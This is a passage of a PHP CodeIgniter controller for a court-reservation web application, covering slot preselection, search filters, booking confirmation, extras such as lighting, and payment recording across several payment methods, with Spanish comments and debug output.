src="'.base_url().'js/jquery.prettyPhoto.js" type="text/javascript"></script>'; if($this->redux_auth->logged_in()) { $data['meta']=$this->load->view('meta', array('extra' => $extra), true); $data['header']=$this->load->view('header', array('enable_menu' => '1'), true); $data['footer']=$this->load->view('footer', $added, true); } else { $data['meta']=$this->load->view('meta_index', array('extra' => $extra), true); $data['header']=$this->load->view('header_index', array('enable_menu' => '0'), true); $data['footer']=$this->load->view('footer_index', $added, true); } $data['page']='reservas/search'; $this->load->view('main', $data); //print("<pre>");print_r($this->session); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de preseleccion de pista # ------------------------------------------------------------------- function preselect($usuario, $selection, $dummy) { #Tercer parรกmetro no vale para nada.. es para evitar el cachรฉ de IE. $debug = FALSE; # Funciรณn que marca como preseleccionados los elementos seleccionados por el usuario # Serรก solo llamado por AJAX # Parรกmetros de entrada: usuario e id de lo seleccionado $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->library('booking'); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; } else { $user_group=9; } #Comprobar si la seleccion realizada estรก libre o no... si estรก libre, reservar... SI no estรก libre, y el usuario de reserva es el actual, deseleccionar $partes=explode('-', $selection); $this->reservas->court=$partes[0]; $deporte = $this->pistas->getCourtSport($partes[0]); $this->reservas->date=date($this->config->item('date_db_format'), $partes[1]); $this->reservas->intervalo=date($this->config->item('hour_db_format'), $partes[1]); $reserve_interval = $this->pistas->getCourtInterval($this->reservas->court); //$this->reservas->price=5.3; $this->reservas->id_user=$usuario; $this->reservas->create_user=$usuario; //$nivel_usuario = $this->usuario->getUserGroup($usuario); $nivel_usuario = $user_group; $this->reservas->sesion = $this->session->userdata('session_id'); $this->app_common->get_court_availability($this->reservas->court, $this->reservas->date); $availability_array = $this->reservas->availability; $encontrado = FALSE; $estado_anterior = 0; $id_anterior = ''; $celdas = array(); # Defino el numero de celdas conjuntas que se seleccionan en base al nivel del usuario $conjunto_celdas_arr = $this->config->item('reserve_minimum_intervals'); $conjunto_celdas = $conjunto_celdas_arr[$user_group]; if(!isset($conjunto_celdas) || $conjunto_celdas == '') $conjunto_celdas = 9; //echo '-------'.$conjunto_celdas; if(!isset($conjunto_celdas) || $conjunto_celdas == '' || $conjunto_celdas < 1) $conjunto_celdas = 1; $contador = 0; foreach($availability_array as $intervalo => $datos) { if($debug) echo '<br>Cont: '.$contador.' - Estado anterior '.$estado_anterior.' - '.$datos[0].' - '.$id_anterior.' - '.$this->session->userdata('idTransaction'); if(($contador % $conjunto_celdas == 0 && ($estado_anterior != 0 || ($estado_anterior == 0 && $id_anterior == $this->session->userdata('idTransaction')))) || ($estado_anterior == 0 && $id_anterior != $this->session->userdata('idTransaction'))) { # Si comienzo un conjunto de celdas nuevo, reinicio el array de celdas que se seleccionan y el contador de elementos que usamoos para hacer la operacio aritmetica 'modulo' $celdas = array(); $contador = 0; $encontrado = FALSE; if($debug) echo '<br>Comienzo conjunto en '.$datos[0]; } if($intervalo == $selection ) { $encontrado = TRUE; if($debug) echo '<br>Se ha encontrado el intervalo seleccionado en este conjunto!! '.$intervalo . ' - '. $this->reservas->intervalo; } array_push($celdas, $intervalo); if(count($celdas) == $conjunto_celdas && $encontrado) { if($debug) echo '<br>Trabajo hecho'; break; } $estado_anterior = $datos[1]; $id_anterior = $datos[2]; $contador++; } # Grabo copia de las celdas vinculadas a esta reserva para, en caso de necesitar desactivarlo todo, tener guardadas cuales eran $persistent_celdas = $celdas; //print("aa<pre>"); print_r($this->reservas->getBookingInfoBySession($this->reservas->sesion));print("</pre>"); $ok_total = 1; $reservas = array(); if($debug) { print("aa<pre>"); print_r($celdas); } # Si no he encontrado correspondencia.. fallo if(count($celdas) != $conjunto_celdas || !$encontrado) { $celdas = array(); $ok_total = 0; if($debug) { echo 'count celdas: '.count($celdas).' y conjunto de celdas: '.$conjunto_celdas; if($encontrado) echo 'encontrado'; else echo 'no encontrado'; } } # Comprobaciรณn (si corresponde) del nรบmero mรกximo de reservas diarias por usuario $valida_por_maxima = $this->booking->checkMaximumBookingPerDayUserSport($this->reservas->date, $partes[0], $usuario, 1); if($debug) { if($valida_por_maxima) echo 'reserva valida respecto a maximos diarios de reserva'; else echo 'reserva INVALIDA respecto a maximos diarios de reserva'; } if(!$valida_por_maxima) { $celdas = array(); $ok_total = 0; } # Fin de la comprobacicรณn de reservas mรกximas por usuario/dia/deporte if($debug) { print("bbbb<pre>"); print_r($celdas); } //if($debug) print_r($availability_array); if($debug) print("</pre>"); //exit(); # Recorro los intervalos para sacar el mรกximo y el mรญnimo horario $inicio_seleccion = ''; $fin_seleccion = ''; foreach($celdas as $interv) { $partes2=explode('-', $interv); $int_selecc = date($this->config->item('hour_db_format'), $partes2[1]); $tiempo = explode(':', $int_selecc); $horas = $tiempo[0]; $minutos = $tiempo[1]; $suma_minutos = $reserve_interval + $minutos; //relleno los campos necesarios para chequear disponibilidad $int_selecc_plus = date($this->config->item('hour_db_format'),mktime($horas,$suma_minutos,0,1,1,1998)); //if($debug) echo '<br> horas: '.$horas.' minutos: '.$suma_minutos.' hora inicio: '.$int_selecc.' hora plus: '.$int_selecc_plus; if($inicio_seleccion == '' || $inicio_seleccion > $int_selecc) $inicio_seleccion = $int_selecc; if($fin_seleccion == '' || $fin_seleccion < $int_selecc_plus) $fin_seleccion = $int_selecc_plus; } if($debug) echo '<br>Rango de la seleccion hecha: '.$inicio_seleccion.' - '.$fin_seleccion; # Recorro los intervalos preseleccionados para ver si todos estรกn disponibles. Si no, todos a cero foreach($celdas as $interv) { if($debug) echo '<br>Para el intervalo '.$interv.' el ok total es '.$ok_total; # Vuelvo a grabar las propiedades del objeto reservas con el intervalo de estudio $partes2=explode('-', $interv); $this->reservas->court = $partes2[0]; $this->reservas->date = date($this->config->item('date_db_format'), $partes2[1]); $this->reservas->intervalo = date($this->config->item('hour_db_format'), $partes2[1]); if($this->reservas->checkExactAvailability()) { # Si estรก libre, pido precio $this->reservas->getPrice(); #Compruebo los extras $extras = 0; $extras = $this->booking->getExtra($this->session->userdata('idTransaction'), $this->reservas->court.'-'.strtotime($this->reservas->date.' '.$this->reservas->intervalo)); if($debug) echo "\r\n".'<br>el extra es '.$extras.' '; $this->reservas->price_supl1 = $extras; $this->reservas->price = $this->reservas->price + $extras; if($debug) echo '<br>el intervalo '.$interv.' tiene como precio '.$this->reservas->price_court; $ok = 1; # Recupero informaciรณn de las reservas con esta sesion para ver si estoy pinchando una consecutiva if(!isset($info)) $info = $this->reservas->getBookingInfoById($this->session->userdata('idTransaction')); //print("<pre>"); print_r($info);print("</pre>"); if(isset($info) && is_array($info) && count($info)>0 && $info['status']<'7') { if($debug) echo '<br>hay una reserva activa con esta sesion '.$this->session->userdata('idTransaction'); $sel_part = explode("-", $interv); if ($sel_part[0] != $info['id_court']) { $ok = 0; $ok_total = 0; if($debug) echo '<br>el intervalo '.$interv.' tiene pista diferente de las otras reservas activas:'.$sel_part[0].' - '.$info['id_court']; //log_message('debug',var_export($info, TRUE)); //log_message('debug', 'Pista diferente'); } $sel_fecha=date($this->config->item('date_db_format'), $sel_part[1]); //echo $sel_fecha; if ($sel_fecha != $info['date']) { $ok = 0; $ok_total = 0; if($debug) echo '<br>el intervalo '.$interv.' tiene fecha diferente de las otras reservas activas:'.$sel_fecha.' - '.$info['date']; //log_message('debug',var_export($info, TRUE)); //log_message('debug', 'Fecha diferente'); } $sel_hora=date($this->config->item('hour_db_format'), $sel_part[1]); $sel_hora_ext=date($this->config->item('hour_db_format'), $sel_part[1]+($reserve_interval * 60)); //echo $sel_hora; if($fin_seleccion != $info['inicio'] && $inicio_seleccion != $info['fin'] && $inicio_seleccion != $info['inicio'] && $fin_seleccion != $info['fin']) { if($debug) echo '<br>el intervalo '.$interv.' tiene un horario que no estรก pegado a alguna de las celdas ya reservadas:'.$fin_seleccion.' - '.$info['inicio'].' ---- '.$inicio_seleccion.' - '.$info['fin']; $ok = 0; $ok_total = 0; //log_message('debug',var_export($info, TRUE)); //log_message('debug', 'Horas diferentes.. la reserva iba de '.$info['inicio'].' a '.$info['fin'].' y seleccionรฉ '.$sel_hora); } # Cierro el IF de la comprobaciรณn de $info } if($debug) echo '<br>el intervalo '.$interv.' tiene un valor de ok: '.$ok.' y el total: '.$ok_total; //echo "<br> OK: ".$ok."<br>"; if($ok) { if(isset($this->reservas->price_court)) { if($debug) echo '<br>el intervalo '.$interv.' intento reservarlo'; # Si estรก libre, intento seleccionarlo $this->reservas->status=5; //$this->reservas->status=0; # Marcamos el status como '0' para que solo lo marque en sesion, pero no guarde la reserva if($this->reservas->bookingInterval()) { if($debug) echo '<br>el intervalo '.$interv.' ha sido reservado satisfactoriamente'; # Si lo he reservado, lo marco asรญ $estilo="selected"; $estado=1; // Lo marco como reservado //if($this->reservas->price_court == 0) $this->reservas->price_court = 0.01; if($this->reservas->price == 0) $this->reservas->price = 0.01; //print_r($this->session->flashdata('bookingInterval')); //exit('A'); } else { $ok_total = 0; if($debug) echo '<br>el intervalo '.$interv.' NO ha podido ser reservado'; # Si no he podido reservarlo, compruebo si aรบn estรก disponible.. # para saber si fallรณ por estar ya ocupado o porque fallรณ la reserva if($this->reservas->checkExactAvailability()) { if($debug) echo '<br>el intervalo '.$interv.' NO se ha reservado pese a estar aรบn libre'; $estilo="free"; $estado=1; // Lo marco como libre $this->reservas->price=$this->reservas->price*(-1); $this->reservas->price_court=$this->reservas->price_court*(-1); $this->reservas->price_light=$this->reservas->price_light*(-1); } else { if($debug) echo '<br>el intervalo '.$interv.' NO se ha reservado porque ya se habรญa reservado por otro sitio'; $estilo="full"; $estado=0; // Ya estaba reservado $this->reservas->price=0; $this->reservas->price_court=0; $this->reservas->price_light=0; } } } else { if($debug) echo '<br>el intervalo '.$interv.' no tenรญa precio definido'; $ok_total = 0; $estilo="free"; $estado=1; // Ya estaba reservado $this->reservas->price=0; $this->reservas->price_court=0; $this->reservas->price_light=0; } } else { if($debug) echo '<br>el intervalo '.$interv.' no era contiguo a las anteriores hechas con esta sesion'; # Si la reserva no es contigua a las anteriores $ok_total = 0; $estilo="free"; $estado=1; // Esta libre $this->reservas->price=0; $this->reservas->price_court=0; $this->reservas->price_light=0; } } else { //$ok_total = 0; if($debug) echo '<br>el intervalo '.$interv.' no estaba disponible'; if($this->reservas->eraseInterval()) { if($debug) echo '<br>el intervalo '.$interv.' ha sido borrado satisfactoriamente'; $estilo="free"; $estado=1; // Ya estaba reservado $this->reservas->getPrice(); $this->reservas->price=$this->reservas->price*(-1); $this->reservas->price_court=$this->reservas->price_court*(-1); $this->reservas->price_light=$this->reservas->price_light*(-1); } else { if($debug) echo '<br>el intervalo '.$interv.' ha quedado marcado como reservado por otro'; $estilo="full"; $estado=0; // Ya estaba reservado $this->reservas->price=0; $this->reservas->price_court=0; } } // Fin del if-else que comprueba si la celda estรก disponible array_push($reservas , array( 'estado' => $estado, 'estilo' => $estilo, //'coste' => number_format($this->reservas->price_court, 2), 'coste' => number_format($this->reservas->price, 2), 'id' => $interv, 'luz' => number_format($this->reservas->price_light, 2) ) ); } // Fin del foreach que recorre los intervalos preseleccionados if($debug) { print("Celdas antes de borrar<pre>"); print_r($celdas); } if(count($celdas) == 0) $celdas = $persistent_celdas; if($debug) { print("Celdas antes de borrar (2)<pre>"); print_r($celdas); } # Si el estado de alguna de las reservas era 0 ($ok_total = 0;) recorro el array para borrar las anteriores if($ok_total == 0) { # Vacio el array de reservas a enviar por XML $reservas = array(); foreach($celdas as $interv) { # Vuelvo a grabar las propiedades del objeto reservas con el intervalo de estudio $partes3=explode('-', $interv); $this->reservas->court=$partes3[0]; $this->reservas->date=date($this->config->item('date_db_format'), $partes3[1]); $this->reservas->intervalo=date($this->config->item('hour_db_format'), $partes3[1]); $this->reservas->eraseInterval(); $estilo="free"; $estado=1; // Ya estaba reservado //$this->reservas->getPrice(); $this->reservas->price=0; $this->reservas->price_court=0; $this->reservas->price_light=0; # Relleno el array de resultados array_push($reservas , array( 'estado' => $estado, 'estilo' => $estilo, //'coste' => number_format($this->reservas->price_court, 2), 'coste' => number_format($this->reservas->price, 2), 'id' => $interv, 'luz' => number_format($this->reservas->price_light, 2) ) ); } } if($debug) { print("<pre>"); print_r($reservas);print("</pre>"); exit();} $page ="reservas/preselect"; $data=array( 'reservas' => $reservas, ); $this->load->view($page, $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de generacion de los filtros # ------------------------------------------------------------------- function simpleSearchFields() { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; } else $user_group=9; ######################### ## CREACION DE FILTROS para pantalla de busqueda sencilla ###### # Filtro de deportes $filter_array=array(); $selected_sport=$this->input->post('sports'); $selected_court_type=$this->input->post('court_type'); $selected_court=$this->input->post('court'); $selected_date=$this->input->post('date'); if(!isset($selected_date) || $selected_date=="") $selected_date=date($this->config->item('reserve_date_filter_format')); # Filtro de DEPORTE $options=$this->reservas->getSportsArray(); $equipo=array('name' => 'sports', 'desc' => $this->lang->line('sport'), 'default' => $selected_sport, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'sports', 'onchange' => 'document.getElementById(\'frmReserva\').submit();', 'type' => 'select', 'value' => $options); if(count($options)==1) { $equipo['type']='hidden'; if(isset($options)) foreach($options as $code => $value) $equipo['value']=$code; } array_push($filter_array, $equipo); # Filtro de TIPO DE PISTA $tipopista=array('name' => 'court_type', 'desc' => $this->lang->line('court_type'), 'default' => $selected_court_type, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'court_type', 'onchange' => 'document.getElementById(\'frmReserva\').submit();', 'type' => 'select', 'value' => array('' => 'Seleccione Tipo')); if($this->config->item('sport_required') && (!isset($selected_sport) || $selected_sport=='')) $tipopista['enabled'] = FALSE; else { $options=$this->pistas->getAvailableCourtsTypesArray($selected_sport); if(count($options)==1) { $tipopista['type']='hidden'; foreach($options as $code=>$value) $tipopista['value']=$code; } else $tipopista['value']=$options; } array_push($filter_array, $tipopista); # Filtro de PISTAS $pista=array('name' => 'court', 'desc' => $this->lang->line('court'), 'default' => $selected_court, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'court', 'onchange' => 'document.getElementById(\'frmReserva\').submit();', 'type' => 'select', 'value' => array('' => 'Seleccione Pista')); if(($this->config->item('sport_required') && (!isset($selected_sport) || $selected_sport=='')) || ($this->config->item('courtype_required') && (!isset($selected_court_type) || $selected_court_type==''))) $pista['enabled'] = FALSE; else { $options=$this->pistas->getAvailableCourtsArray($selected_sport,$selected_court_type); if(count($options)==1) { $pista['type']='hidden'; foreach($options as $code=>$value) $pista['value']=$code; } else $pista['value']=$options; } array_push($filter_array, $pista); # Filtro de FECHA $fecha=array('name' => 'date', 'desc' => $this->lang->line('date'), 'maxdays' => 2, 'default' => $selected_date, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'date', 'type' => 'date'); //if($this->config->item('sport_required') && (!isset($selected_sport) || $selected_sport=='')) $fecha['enabled'] = FALSE; //if($this->config->item('courtype_required') && (!isset($selected_court_type) || $selected_court_type=='')) $fecha['enabled'] = FALSE; //$filtro=$this->config->item('court_required'); //if($filtro[$user_group] && (!isset($selected_court) || $selected_court=='')) $fecha['enabled'] = FALSE; $filtro=$this->config->item('max_search_days'); if(isset($filtro[$user_group]) && $filtro[$user_group]!="") $fecha['maxdays'] = $filtro[$user_group]; array_push($filter_array, $fecha); /* if(count($options)>1) $sports_options= $this->lang->line('sport').": ".form_dropdown('sports', $options, $this->input->post('sports'), $js); else foreach($options as $code=>$value) $sports_options= form_hidden('sports', $code); $search_fields=array($sports_options); if(($this->config->item('sport_required') && $this->input->post('sports')!="") || !$this->config->item('sport_required')) { # Filtro de tipo de pista $options=$this->pistas->getAvailableCourtsTypesArray($this->input->post('sports')); $js = 'id="court_type" onChange="document.getElementById(\'frmReserva\').submit();"'; if(count($options)>1) $court_type_options= $this->lang->line('court_type').": ".form_dropdown('court_type', $options, $this->input->post('court_type'), $js); else foreach($options as $code=>$value) $court_type_options= form_hidden('court_type', $code); array_push($search_fields,$court_type_options); if(($this->config->item('courtype_required') && $this->input->post('court_type')!="") || !$this->config->item('courtype_required')) { # Filtro de pista si viene el tipo de pista filtrado $options=$this->pistas->getAvailableCourtsArray('',$this->input->post('court_type')); $js = 'id="court" '; if(count($options)>1) $court_options= $this->lang->line('court').": ".form_dropdown('court', $options, $this->input->post('court'), $js); else foreach($options as $code=>$value) $court_options= form_hidden('court', $code); array_push($search_fields,$court_options); # Campo de filtro de tipo fecha en el futuro $data = array('name'=> 'date', 'id'=> 'date', 'value'=> date('Y-m-d')); array_push($search_fields, $this->lang->line('date').": ".form_input($data)); # Campo de filtro de hora aproximada en que quiero pista (combo en el futuro) $data = array('name'=> 'time', 'id'=> 'time', 'value'=> date('H:30')); array_push($search_fields, $this->lang->line('init_time').": ".form_input($data)); } }*/ return $filter_array; } function confirm($id_transaction = NULL) { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Redux_auth_model', 'redux', TRUE); # Si no estรก definida la transacciรณn, vuelvo a la pรกgina de inicio if(!isset($id_transaction)) { redirect(site_url(), 'Location'); exit(); } //$session=$this->session->userdata('session_id'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_level=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } //print("<pre>"); print_r($this->reservas->getBookingInfoBySession($session)); $info=$this->reservas->getBookingInfoById($id_transaction); //print("<pre>");print_r($info);print("</pre>");exit(); if(!isset($info) || !is_array($info) || count($info)<1) { $this->session->set_flashdata('message', '<p class="error">'.$this->lang->line('booking_lost_alert').'</p>'); redirect(site_url('/reservas/'), 'Location'); exit(); } //print_r($this->redux_auth->profile()); # opciones del menu $menu=array('menu' => $this->app_common->get_menu_options()); # Recoge las formas de pago disponibles para este nivel de usuario $this->load->model('Payment_model', 'pagos', TRUE); $paymentMethods=$this->pagos->getPaymentMethodsByUser($user_level); # Especificaciones de mรฉtodos de pago de esta pantalla //$paymentMethods['creditcard'] = TRUE; //s$paymentMethods['tpv'] = FALSE; if($user_level<=7) { $paymentMethods['tpv'] = FALSE; } if($user_level==7) { $paymentMethods['cash'] = FALSE; $paymentMethods['creditcard'] = FALSE; } //$paymentMethods['reserve'] =FALSE; //$paymentMethods['prepaid'] = FALSE; //print_r($paymentMethods); # Variable que habilita o no el marcar la reserva sin coste $no_cost=0; if($user_level<=7) { $no_cost=1; } $filtro=$this->config->item('no_cost_permission'); if(isset($filtro[$user_level])) $no_cost = $filtro[$user_level]; # Variable que habilita o no el reservar por otros usuarios $alt_reserve=0; if($user_level<=7) $alt_reserve=1; # Variable que habilita o no el solicitar los datos del usuario para la reserva $user_data=0; if(!$this->redux_auth->logged_in()) $user_data=1; # Cargo la vista de formas de pago $paymnet_content= $this->load->view('reservas/pago', array('methods' => $paymentMethods, 'transaction_id' => $id_transaction, 'info' => $info), true); //print("<pre>");print_r($menu);print("</pre>"); //echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true); if($user_level < 7) { $main_content= $this->load->view('reservas/confirm_gestion', array('info' => $info, 'no_cost' => $no_cost, 'pay' => 1, 'pay_content' => $paymnet_content, 'form' => 'frmReserva', 'transaction_id' => $id_transaction), true); } $data=array( 'meta' => $this->load->view('meta', '', true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'footer' => $this->load->view('footer', '', true), 'main_content' => $main_content, //'page'=>'reservas/confirm', 'info' => $info, 'no_cost' => 1, 'reserve' => 1, 'pay' => 1, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); } #################### # Funcion que genera la pantalla en la que se selecionan los extras de la reserva (luz, etc..), # se selecciona si serรก un partido compartido y quien es el titular de la reserva. #################### function extras($dummy, $id_transaction) { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Redux_auth_model', 'usuario', TRUE); $session=$this->session->userdata('session_id'); $idt=$this->session->userdata('idTransaction'); //echo $idt.'---'; /* if($idt != $id_transaction) { echo "ERROR!! Acceso fraudulento!"; exit(); } */ $id_transaction = $idt; if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_level=$profile->group; $user_name=$profile->username; } else { $user_id=0; $user_level=9; $user_name=$this->lang->line('anonymous_user'); } /* if($light=="true") $this->reservas->setLight($this->session->userdata('idTransaction'),$price_light); */ //echo $this->session->userdata('idTransaction'); //print("<pre>"); print_r($this->reservas->getBookingInfoBySession($session)); $info=$this->reservas->getBookingInfoById($id_transaction); //print("<pre>");print_r($info);print("</pre>");exit(); if(!isset($info) || !is_array($info) || count($info)<1) { $this->session->set_userdata('error_message', $this->lang->line('session_lost_alert')); redirect(site_url('/reservas/'), 'Location'); exit(); } ############ # Array de opciones de la reserva ########### $options = array(); $precio_luz = $this->reservas->getLight($id_transaction); //echo "AA".$precio_luz; $light_option = $this->load->view('reservas/booking_light_option', array('precio' => $precio_luz), TRUE); $options['light'] = $light_option; $record_players = $this->config->item('booking_record_players'); $record_players_range = array(); if(isset($record_players) && $record_players) { $record_players_range = $this->config->item('booking_record_players_range'); //print_r($record_players_range); $players_option = $this->load->view('reservas/booking_players_option', array('record_players_range' => $record_players_range), TRUE); //print ($players_option); $options['players'] = $players_option; } ############# //print_r($this->redux_auth->profile()); /* if($this->redux_auth->logged_in()) { echo "logueado"; } */ //echo $this->input->post('allow_light').' - '.$light; # Variable que habilita o no el marcar la reserva sin coste $no_cost=0; if($user_level<=4) $no_cost=1; $filtro=$this->config->item('no_cost_permission'); if(isset($filtro[$user_level])) $no_cost = $filtro[$user_level]; # Variable que habilita o no el marcar la reserva sin coste $record_players=$this->config->item('booking_record_players'); if(isset($record_players) && $record_players) { $record_players_number = $this->config->item('booking_record_players_number');} //echo $record_players_number; if(!isset($record_players_number) || $record_players_number == '') $record_players_number = 1; //echo $record_players_number; # Variable que habilita o no el poder seleccionar usuarios para la reserva $multiuser=0; if($user_level<=4) $multiuser=1; # Variable que habilita o no el reservar por otros usuarios $alt_reserve=0; if($user_level<=4) $alt_reserve=1; # Variable que habilita o no el solicitar los datos del usuario para la reserva $user_data=0; if(!$this->redux_auth->logged_in()) $user_data=1; # Variable que habilita o no el registrar la reserva como 'partido compartido' $permiso=$this->config->item('shared_bookings_permission'); $shared_booking=0; if($permiso[$user_level]) $shared_booking=1; if(in_array($this->agent->browser(), $this->config->item('special_browser'))) { $added = array('added_footer' => 'Pagina adaptada a IE'); $data=array( //'menu' => $this->load->view('menu', $menu, true), 'user_name' => $user_name, //'search_fields' => $this->load->view('reservas/search_fields2', array('search_fields'=> $this->simpleSearchFields(), 'form' => 'frmReserva', 'disabled' => $disabled), true), //'result' => $this->load->view('reservas/simple_result', array('availability' => $availability_array, 'user_id' => $user_id, 'filters' => $this->load->view('reservas/search_fields', array('search_fields'=> $this->simpleSearchFields()), true)), true), //'validation_script' => $validation_script, 'record_players_number' => $record_players_number, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); if($this->redux_auth->logged_in()) { $data['meta']=$this->load->view('meta', '', true); $data['header']=$this->load->view('header', array('enable_menu' => '1'), true); $data['footer']=$this->load->view('footer', $added, true); } else { $data['meta']=$this->load->view('meta_index', '', true); $data['header']=$this->load->view('header_index', array('enable_menu' => '0'), true); $data['footer']=$this->load->view('footer_index', $added, true); } $data['main_content']=$this->load->view('reservas/extra_iexplorer', array('user_name' => $user_name, 'info' => $info, 'no_cost' => $no_cost, 'multiuser' => $multiuser, 'form' => 'frmReserva', 'logged_user' => $user_id, 'id_transaction' => $id_transaction, 'options' => $options, 'shared_booking' => $shared_booking, 'record_players_number' => $record_players_number), true); $this->load->view('main', $data); } else $this->load->view('reservas/extra', array('info' => $info, 'no_cost' => $no_cost, 'multiuser' => $multiuser, 'form' => 'frmReserva', 'logged_user' => $user_id, 'id_transaction' => $id_transaction, 'options' => $options, 'shared_booking' => $shared_booking, 'record_players_number' => $record_players_number)); } function pay($mode, $idTransaction) { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Payment_model', 'pagos', TRUE); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->library('booking'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; } else $user_id=0; $logged_user=$user_id; # Definiciรณn de barra de menus $menu=array('menu' => $this->app_common->get_menu_options()); $no_cost=0; if($this->input->post('no_cost')) $no_cost=$this->input->post('no_cost'); //$idTransaction=$this->session->userdata('idTransaction'); $info=$this->reservas->getBookingInfoById($idTransaction); $user_id = $info['user']; //print("<pre>");print_r($info);print("</pre>");//exit(); if(!isset($info) || !is_array($info) || count($info)<1) { $this->session->set_userdata('error_message', $this->lang->line('session_lost_alert')); redirect(site_url('/reservas/'), 'Location'); exit(); } //echo $user_id; //exit(); if($this->input->post('no_cost')) $info['total_price']=0; $intervalos=array(); $tmp=$this->session->userdata('bookingInterval'); //print_r($tmp);exit(); if(is_array($tmp)) { $intervalos=$tmp; } $success=0; switch($mode) { case 'prepaid': $estado_reserva=9; $modo_pago=5; $this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user_id, $this->input->post('user_desc'), $this->input->post('user_phone'), $no_cost, $this->input->post('no_cost_desc')); if(!$no_cost) { if($this->usuario->addPrepaidMovement($user_id, floatval($info['total_price'] * (-1)), '1', 1, $idTransaction)) $success=1; /* $this->pagos->id_type=1; //Reserva de pista $this->pagos->id_element=$session; $this->pagos->id_transaction=$idTransaction; $this->pagos->id_user=$user; $this->pagos->id_paymentway=$modo_pago; $this->pagos->status=$estado_reserva; $this->pagos->quantity=$info['price']; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description='Cargo al credito prepago'; $this->pagos->create_user=$logged_user; $this->pagos->create_time=date($this->config->item('log_date_format')); if($this->pagos->setPayment()) $success=1; */ } else $success=1; break; case 'creditcard': $estado_reserva=9; $modo_pago=2; $this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user_id, $this->input->post('user_desc'), $this->input->post('user_phone'), $no_cost, $this->input->post('no_cost_desc')); if(!$no_cost) { $this->pagos->id_type=1; //Reserva de pista $this->pagos->id_transaction=$idTransaction; $this->pagos->id_user=$user_id; $this->pagos->desc_user=$this->input->post('user_desc'); $this->pagos->id_paymentway=$modo_pago; $this->pagos->status=$estado_reserva; $this->pagos->quantity=$info['total_price']; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description='Reserva por tarjeta credito'; $this->pagos->create_user=$logged_user; $this->pagos->create_time=date($this->config->item('log_date_format')); if($this->pagos->setPayment()) $success=1; } else $success=1; break; case 'paypal': $estado_reserva=9; $modo_pago=3; $this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user_id, $this->input->post('user_desc'), $this->input->post('user_phone'), $no_cost, $this->input->post('no_cost_desc')); if(!$no_cost) { $this->pagos->id_type=1; //Reserva de pista $this->pagos->id_transaction=$idTransaction; $this->pagos->id_user=$user_id; $this->pagos->desc_user=$this->input->post('user_desc'); $this->pagos->id_paymentway=$modo_pago; $this->pagos->status=$estado_reserva; $this->pagos->quantity=$info['total_price']; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description='Reserva por Paypal'; $this->pagos->create_user=$logged_user; $this->pagos->create_time=date($this->config->item('log_date_format')); if($this->pagos->setPayment()) $success=1; } else $success=1; break; case 'cash': $estado_reserva=9; $modo_pago=1; $this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user_id, $this->input->post('user_desc'), $this->input->post('user_phone'), $no_cost, $this->input->post('no_cost_desc')); if(!$no_cost) { $this->pagos->id_type=1; //Reserva de pista $this->pagos->id_transaction=$idTransaction; $this->pagos->id_user=$user_id; $this->pagos->desc_user=$this->input->post('user_desc'); $this->pagos->id_paymentway=$modo_pago; $this->pagos->status=$estado_reserva; $this->pagos->quantity=$info['total_price']; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description='Reserva pagada en efectivo'; $this->pagos->create_user=$user_id; $this->pagos->create_time=date($this->config->item('log_date_format')); if($this->pagos->setPayment()) $success=1; } else $success=1; break; case 'bank': $estado_reserva=9; $estado_pago = 2; $modo_pago=1; $this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user_id, $this->input->post('user_desc'), $this->input->post('user_phone'), $no_cost, $this->input->post('no_cost_desc')); if(!$no_cost) { $this->pagos->id_type=1; //Reserva de pista $this->pagos->id_transaction=$idTransaction; $this->pagos->id_user=$user_id; $this->pagos->desc_user=$this->input->post('user_desc'); $this->pagos->id_paymentway=$modo_pago; $this->pagos->status=$estado_pago; $this->pagos->quantity=$info['total_price']; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description='Reserva pagada en efectivo'; $this->pagos->create_user=$user_id; $this->pagos->create_time=date($this->config->item('log_date_format')); if($this->pagos->setPayment()) $success=1; } else $success=1; break; case 'reserve': $estado_reserva=7; $this->reservas->setSelectionReserved($idTransaction, 